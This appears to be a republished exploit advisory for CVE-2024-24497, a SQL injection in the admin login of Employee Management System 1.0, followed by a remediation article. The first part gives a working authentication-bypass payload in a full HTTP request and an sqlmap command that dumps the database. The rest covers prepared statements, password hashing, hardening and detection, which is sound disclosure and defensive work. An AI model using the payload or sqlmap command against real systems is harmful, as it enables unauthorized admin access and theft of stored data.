Employee Management System 1.0 - `txtusername` and `txtpassword` SQL Injection (Admin Login)

Exploit Author: Yevhenii Butenko Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2024-04-02
# Exploit Title: Employee Management System 1.0 - `txtusername` and `txtpassword` SQL Injection (Admin Login)
# Date: 2 Feb 2024
# Exploit Author: Yevhenii Butenko
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/16999/employee-management-system.html
# Version: 1.0
# Tested on: Debian
# CVE : CVE-2024-24497

### SQL Injection:

> SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.

### Affected Components:

> /employee_akpoly/Admin/login.php

> Two parameters `txtusername` and `txtpassword` within admin login mechanism are vulnerable to SQL Injection.

![txtusername](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/admin_login_txtusername_sqli.png?raw=true)
![txtpassword](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/admin_login_txtpassword_sqli.png?raw=true)

### Description:

> The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.

## Proof of Concept:

### Manual Exploitation

The payload `' and 1=1-- -` can be used to bypass authentication within admin login page.

```
POST /employee_akpoly/Admin/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Origin: http://localhost
Connection: close
Referer: http://localhost/employee_akpoly/Admin/login.php
Cookie: PHPSESSID=lcb84k6drd2tepn90ehe7p9n20
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

txtusername=admin' and 1=1-- -&txtpassword=password&btnlogin=
```

### SQLMap

Save the following request to `admin_login.txt`:

```
POST /employee_akpoly/Admin/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Origin: http://localhost
Connection: close
Referer: http://localhost/employee_akpoly/Admin/login.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

txtusername=admin&txtpassword=password&btnlogin=
```

Use `sqlmap` with `-r` option to exploit the vulnerability:

```
sqlmap -r admin_login.txt --level 5 --risk 3 --batch --dbms MYSQL --dump
```

## Recommendations

When using this Employee Management System, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.


Employee Management System 1.0 — SQL Injection in Admin Login (CVE-2024-24497)

Summary

An SQL Injection vulnerability was reported in the admin login endpoint of Employee Management System 1.0. The vulnerable implementation allowed untrusted input from login form fields to influence SQL queries, enabling attackers to bypass authentication and interact with the database in unintended ways. This article explains the technical root cause, real-world impact, safe testing guidance, and detailed remediation steps developers and administrators can implement to mitigate the issue.

Affected Component

  • /employee_akpoly/Admin/login.php (admin login processing)
  • Fields: administrator username and password inputs (used in SQL statement construction)
  • Identifier: CVE-2024-24497

Impact and Risk

When administrative login inputs are concatenated directly into SQL statements, an attacker who can send crafted input may:

  • bypass authentication and gain administrative access
  • read or modify sensitive records in the database
  • escalate an application-level compromise into broader data exposure

The practical risk depends on the deployment context (network exposure, database privileges, other compensating controls), but any exploitable login bypass on an admin interface should be treated as high severity.

Technical Root Cause

The typical root cause is directly embedding user-supplied values into SQL statements without parameterization or proper escaping. For example, constructing SQL like "SELECT * FROM admin WHERE username = 'USER' AND password = 'PASS'" by concatenating raw form fields allows specially-crafted input to change the intended query logic.

Safe Testing & Responsible Disclosure

  • Only test systems you own or for which you have explicit authorization. Unauthorized scanning or exploitation is illegal and unethical.
  • Use a controlled test environment (local VM, staging instance, or containerized replica) to validate fixes before applying them in production.
  • Follow coordinated disclosure procedures: notify the vendor, provide proof-of-concept to the vendor only, and allow reasonable remediation time before public disclosure.

Remediation — Secure Coding Best Practices

The most effective fix is to stop concatenating input into SQL and to use parameterized queries (prepared statements). Additionally, do proper password storage (one-way hashing with salts), enforce least-privilege for the database account, and add defense-in-depth controls (WAF, logging, rate-limiting).

Corrected PHP example using PDO and secure password verification

<?php
// Example secure login flow using PDO and password hashing
// Assumes PDO $pdo is an existing, configured connection using a low-privilege DB user

session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Retrieve and normalize input
    $username = trim($_POST['txtusername'] ?? '');
    $password = $_POST['txtpassword'] ?? '';

    // Basic input length checks (defensive; not a replacement for parameterized queries)
    if ($username === '' || $password === '') {
        // handle invalid input
        http_response_code(400);
        echo 'Invalid credentials.';
        exit;
    }

    // Parameterized query: do NOT concatenate user input into SQL
    $stmt = $pdo->prepare('SELECT id, username, password_hash FROM admins WHERE username = :username LIMIT 1');
    $stmt->execute([':username' => $username]);
    $row = $stmt->fetch(PDO::FETCH_ASSOC);

    if ($row && password_verify($password, $row['password_hash'])) {
        // Regenerate session id to prevent fixation
        session_regenerate_id(true);
        $_SESSION['admin_id'] = $row['id'];
        $_SESSION['admin_user'] = $row['username'];
        // Redirect to admin dashboard or return success
        header('Location: /employee_akpoly/Admin/dashboard.php');
        exit;
    } else {
        // Generic error message (do not reveal which part failed)
        http_response_code(401);
        echo 'Invalid credentials.';
        exit;
    }
}
?>

Explanation: This code uses PDO prepared statements with named parameters, which prevents input from changing the SQL structure. Passwords are compared using password_verify against a stored password hash produced by password_hash during account creation or password change. Session regeneration reduces session fixation risk. The script uses minimal error messages to avoid leaking authentication logic.

How to securely store passwords (example)

<?php
// When creating or updating passwords:
$passwordPlain = 'UserSuppliedPassword';
$hash = password_hash($passwordPlain, PASSWORD_DEFAULT); // stores both salt and algorithm metadata
// Save $hash into the admins.password_hash column
?>

Explanation: password_hash applies a strong, salted, adaptive algorithm (bcrypt/argon2 depending on PHP version). Never use reversible encryption or store plaintext passwords.

Additional Hardening Measures

  • Database least privilege: the web application's DB account should only have the minimal privileges required (SELECT/UPDATE/INSERT on specific tables), not DROP or administrative rights.
  • Input validation: apply length and character constraints on username fields, but never rely on validation alone to prevent SQL injection.
  • Rate limiting and account lockout: throttle repeated failed login attempts and implement progressive backoff or temporary lockouts to reduce brute-force and automated probing.
  • Web Application Firewall (WAF): deploy a WAF for an additional layer of protection, knowing it supplements but does not replace secure coding.
  • Disable verbose error messages in production (display_errors = Off) to avoid leaking SQL or stack traces.
  • Secure session cookies: set HttpOnly, Secure, SameSite attributes.
  • Use TLS for all login traffic to protect credentials in transit.

Detection & Monitoring

Set up logging and alerting on anomalous input patterns submitted to authentication endpoints. Monitor for:

  • Unusually long or non-printable input in username/password fields
  • Repeated failed logins from same IP over short windows
  • Requests containing SQL language tokens (SELECT, UNION, OR, AND) in form fields — treat as a heuristic, not definitive proof
  • Unexpected changes to admin records or new admin accounts

Example defensive detection rule (conceptual): flag requests where a login field contains SQL control sequences or comment markers. Use this as an alert to investigate rather than immediate blocking without context.

Incident Response Steps for Suspected Exploitation

  • Immediately isolate the affected system (or take the application offline) to prevent further abuse.
  • Preserve logs and timestamps for a forensic timeline (web server logs, database logs, application logs).
  • Rotate credentials and secrets that may have been exposed (admin accounts, DB credentials, API keys).
  • Rebuild the affected host(s) from a known-good image after remediation and validation.
  • Notify stakeholders and follow applicable breach notification laws if sensitive user data was exposed.

References & Resources

  • OWASP SQL Injection Cheat Sheet — techniques for prevention and secure coding patterns
  • CWE-89: SQL Injection — industry classification and mitigation guidance
  • PHP Manual: PDO and password_hash / password_verify for secure authentication

Final Notes

SQL injection vulnerabilities remain one of the most common and impactful classes of web application security flaws. The correct combination of parameterized queries, secure password handling, least-privilege database access, and monitoring significantly reduces risk. Any fix should be tested in a controlled environment and rolled out with appropriate logs and alerts to detect recurrence.